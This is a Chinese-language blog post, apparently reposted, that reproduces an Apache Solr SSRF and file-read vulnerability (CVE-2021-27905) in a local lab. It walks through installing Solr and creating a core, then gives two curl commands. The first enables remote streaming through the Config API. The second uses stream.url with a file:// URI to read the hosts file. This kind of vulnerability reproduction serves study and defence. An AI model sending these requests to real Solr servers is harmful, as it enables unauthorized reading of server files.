复现Apache Solr SSRF(CVE-2021-27905)
2021-05-28 23:02
标签：format nts run err creat get may max select 下载源码 http://archive.apache.org/dist/lucene/solr/8.8.1/ 下载完后解压进入bin目录并开cmd窗口 执行 然后浏览器访问ip:3333 过程中没有出现报错 这一步如果出现红色报错的话，就按照如下步骤解决: 再回到界面进行重新创建即可成功 通过访问ip:3333/solr/admin/cores?indexInfo=false&wt=json，可以看到当前core名称 结合刚才得到的core名称访问http://192.168.43.244:3333/solr/new_core/config，得到以下页面 利用Config API打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming开关（使用curl）。 stream.url参数利用file伪协议读取本机的hosts的文件 复现Apache Solr SSRF(CVE-2021-27905) 标签：format nts run err creat get may max select 原文地址：https://www.cnblogs.com/impulse-/p/14764589.html一、环境搭建
solr start -p 3333
二、按如下步骤创建core
此时Solr已经在server/solr目录下已经创建了名字为new_core的文件夹，我们只需要把server/solr/configsets/default文件夹下的conf目录整个拷贝到new_core文件夹下，即可
三、漏洞复现
curl -d "{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}" http://192.168.43.244:3333/solr/new_core/config -H "Content-type:application/json"
curl "http://192.168.43.244:3333/solr/new_core/debug/dump?param=ContentStreams" -F "stream.url=file:///C:\Windows\System32\drivers\etc\hosts"
上一篇：Linux安装telnet
文章标题：复现Apache Solr SSRF(CVE-2021-27905)
文章链接：http://soscw.com/essay/88840.html